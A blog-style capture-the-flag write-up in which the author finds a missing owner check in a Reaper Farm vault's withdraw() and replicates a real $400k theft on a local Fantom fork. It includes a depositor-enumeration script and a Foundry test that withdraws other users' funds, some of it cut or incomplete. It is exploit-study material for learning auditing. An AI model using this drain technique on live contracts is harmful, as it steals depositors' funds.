UnhackedCTF - Reaper (Walkthrough + explanation)

UnhackedCTF - Reaper (Walkthrough + explanation)

How I (would've) made $400k (and landed in jail)!


7 min read


Hey everyone! :)

After trying a few basic Smart contract based CTFs, I wanted to try my hands at something more complex, more real-life oriented. But, I'm not smart (yet) to take on some Bug Bounties on ImmuneFi. :(

So, I kept searching for mid-level CTFs, and that brought me to the Unhacked CTF! This is special, because the challenges here are, well, real, in the sense that these hacks actually happened, and now you need to replicate them (BUT ON A FORK)!

So, I jumped aboard, to my first challenge - Reaper:

Reaper challenge statement


I just finished the challenge, and I have neither looked the solution nor the write-ups, so I don't know if the way I solved it is the intended way. I'll do so after publishing this.


Knowing more about Reaper farm

I went to the challenge repo: https://github.com/unhackedctf/reaper, and read the description.

So, some vault contracts were hacked, and I need to find the vulnerability in the same, and then exploit them to replicate the results.

So, Reaper farm. Here's what their UI looks like:

Reaper farm UI

I'll be honest, I never looked at any actual Vault contract before (I'm a DeFi noob. Go ahead, roast me), so, I didn't know what a "farm" was!

So, I took a detour, and quickly read up on some terms and docs.

And I learned that farms (or yield aggregrator protocols) like these take users' funds, and invest them on other protocols on their behalf, to optimise their returns. So, like a stock broker! Nice!

Then, I decided to look through their docs, just so I know exactly what I can expect from their smart contract: Reaper farm docs.

So, the deal is simple - you go on other protocols, stake your tokens in their pools and farms, then come back to Reaper, stake your LP-tokens, and watch Reaper invest on your behalf! And you get rfTokens as Reaper farm shares, which you'd later give back to get back your original stake plus rewards (additional LP-tokens)!

On the Reaper farm, there's multiple token pairs you can select to stake in, each called a "crypt" (they're really hard on their theme!), which runs on Vault contracts. Vault contracts are your interface to that token pair pool, while the actual investing was done by another linked contract called "Strategy", all run by people and multi-sigs with role-based access.

Something that kinda stuck me, however, was how their docs repeatedly kept saying everywhere:


"Why though?", I wondered. Anyone who holds the "rfTokens" is entitled to the benefits, right? Kinda how if you have 1 WETH, you also have 1 ETH. So, why can I not trade it? It must have value too!

In hindsight though, I should've paid more attention to this. Turns out, this line hints at the obvious vulnerability (as you'd find soon)

Auditing the Reaper contracts

Then, I went back to the challenge repo, cloned it, and started looking through the smart contract.

I'll admit, it was very, very overwhelming. I needed a day to understand it all, and map relevant parts to each other in my mind, to understand all the flows and how it was intended to be used.

The maths was particularly interesting (and painful).

I spent a day going over the code over and over, till I could take it apart and put it back together.

Having done that, I asked myself - "But where's the vulnerability?". Was it in the calculations? Was it a vulnerability in the roles? Can I have more rfTokens minted than intended? Can I have more assets when withdrawing with my rfTokens?

The answer to all this, was "NO!".

I kept going over and over each line, and couldn't find any vulnerability.

Till, I looked at the function signature for withdraw():

Function signature for Withdraw


It burns the owner's shares, gives them to receiver, with the assumption that it's always the owner who'd be withdrawing their share. BUT WHAT'S TO STOP SOMEONE ELSE FROM WITHDRAWING ON OWNER'S BEHALF? WTH!

Can this really be it? How did it never occur to anyone?


There's only one way to know for sure - a POC.

I need to fork the Fantom net at block 44000000, and try withdrawing on behalf of all depositors.

But wait, how do I know the depositors? Sure, I could go to FTM Scan and manually go through all Deposit events, and have my brain commit seppuku.

OR, I can put my script-noobie skills to use, write up a quick script to query for all Deposit events.

But wait! Not all depositors would have withdrawable assets! What about those who have already withdrawn their shares?

Maybe I can just query for depositors, then filter for those with non-zero withdrawable assets!

So, I did exactly that. I wrote the below script, and ran it on a local fork.

anvil --fork-url "https://rpc.ankr.com/fantom/" --fork-block-number 44000000

This forks the Fantom net at block 44000000, and runs a local RPC node

// enumerate.ts

import { BigNumber, ethers } from "ethers";
import reaperArtifact from "../abi/ReaperVaultV2.json";

async function enumerate() {
    // Set account and connnection
    const provider = new ethers.providers.JsonRpcProvider("");

    // Get contract
    const reaper = new ethers.Contract("0x77dc33dC0278d21398cb9b16CbFf99c1B712a87A", reaperArtifact.abi, provider);

    // Get events
    const depositEvents = await getDepositEvents(reaper, 42161064, 44000000, 2000); // Block 42161064 is when the Vault was deployed

    // Get depositors
    const depositors = getDepositors(depositEvents);

    // Get depositors' balances
    const depositorsAndBalanceMap = await getOwnerBalances(reaper, depositors);

    // Get interesting depositors
    const interestingDepositors = getInterestingDepositors(depositorsAndBalanceMap);

    console.log(`[+] Depositors found: ${depositors.length}`);
    console.log("(Increasing order of balance)", interestingDepositors);

    .then(() => { })
    .catch((e) => { console.error(e); })

async function getDepositEvents(reaper: ethers.Contract, startBlock: number, endBlock: number, blockSize: number) {
    const depositEventFilter = reaper.filters["Deposit(address,address,uint256,uint256)"]();

    // Get promises to resolve
    const depositEventsPromises: Array<Promise<ReturnType<reaper.queryFilter>>> = [];
    for (let block = startBlock; block <= endBlock; block += blockSize) {
                Math.min(block + blockSize - 1, endBlock)
    console.log(`Total promises to resolve: ${depositEventsPromises.length}`);

    // Resolve promises in blocks
    const promisesToResolveAtATime = 10;
    const depositEvents: Array<any> = [];
    for (let promiseNum = 0; promiseNum < depositEventsPromises.length; promiseNum += promisesToResolveAtATime) {
        const promiseNumLast = Math.min(promiseNum + promisesToResolveAtATime, depositEventsPromises.length);

        const depositEventsPartialPromise = depositEventsPromises.slice(

        const depositEventsPartial: Array<any> = await Promise.all(depositEventsPartialPromise);
        depositEventsPartial.forEach((eventsArr: Array<any>) => {
            const eventsToPush = eventsArr.filter((event) => event);

        // Report progress
        const progressPerc = (promiseNumLast * 100) / depositEventsPromises.length;
        console.log(`Progress: ${progressPerc.toFixed(2)} %`)

    return depositEvents;

function getDepositors(depositEvents: Array<any>) {
    const ownersSet = new Set<string>();

    for (let eventNum = 0; eventNum < depositEvents.length; eventNum++) {
        const owner = depositEvents[eventNum]?.args?.owner;
        if (!ownersSet.has(owner)) {

    return [...ownersSet.values()];

async function getOwnerBalances(reaper: any, owners: Array<string>) {
    const ownerBalances: { [ownerAddr: string]: BigNumber } = {};

    const balanceFetchPromises: Array<Promise<any>> = [];
    const balanceFetchPromiseFactory = async (owner: string) => {
        ownerBalances[owner] = await reaper.maxWithdraw(owner);

    for (let ownerNum = 0; ownerNum < owners.length; ownerNum++) {

    await Promise.all(balanceFetchPromises);

    return ownerBalances;

function getInterestingDepositors(ownerBalancesMap: { [ownerAddr: string]: BigNumber }) {
    const owners = Object.entries(ownerBalancesMap);
    const ownersWithBalance = owners.filter(([_, balance]) => !balance.eq(BigNumber.from(0)));
    const ownersWithBalanceSorted = ownersWithBalance.sort(([_, balanceA], [__, balanceB]) => (
        balanceA.gt(balanceB) ? -1 : 1

    const totalBalance = ownersWithBalanceSorted.map(([_, balance]) => balance).reduce((total, balance) => total.add(balance));
    console.log(`[>] Total balance to steal: ${ethers.utils.formatEther(totalBalance)}`)

    return ownersWithBalanceSorted.map(([owner, _]) => owner);

This lists all depositors with non-zero withdrawable assets, sorted in descending order of assets.

And then I ran the script, and got this:

Accounts with non-zero withdrawable balance

Wait...That's a lotta assets! And it matches with the challenge description that says $400k (DAI is pegged to USD in 1:1 ratio).

And the next thing I did, was use these in the challenge test ReaperHack.t.sol, and tried withdrawing all assets:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/ReaperVaultV2.sol";

interface IERC20Like {
    function balanceOf(address _addr) external view returns (uint256);

contract ReaperHack is Test {
    ReaperVaultV2 reaper =
    IERC20Like fantomDai =

    function testReaperHack() public {
        vm.createSelectFork(vm.envString("FANTOM_RPC"), 44000000);
            "Your Starting Balance:",


        console.log("Your Final Balance:", fantomDai.balanceOf(address(this)));
        assert(fantomDai.balanceOf(address(this)) > 400_000 ether);

    // HELPERS
    function _stealFromOwner(address owner) internal {
        uint256 amtToSteal = reaper.maxWithdraw(owner);
        reaper.withdraw(amtToSteal, address(this), owner);

    function _stealFromVault() internal {

Lo and behold ๐Ÿ˜’:

Transferring 400k DAI to me

More than happy, I was actually surprised! How did they even overlook such a vulnerability! Was there no audit at all!?


I guess the takeaway for me as a wannabe-auditor is simple - do not assume things always work the way they're supposed to; it's very easy to overlook assumptions and their avalanche into further logic.

This was a fantastic start to the series, and I wanna continue.

I have a long way to go.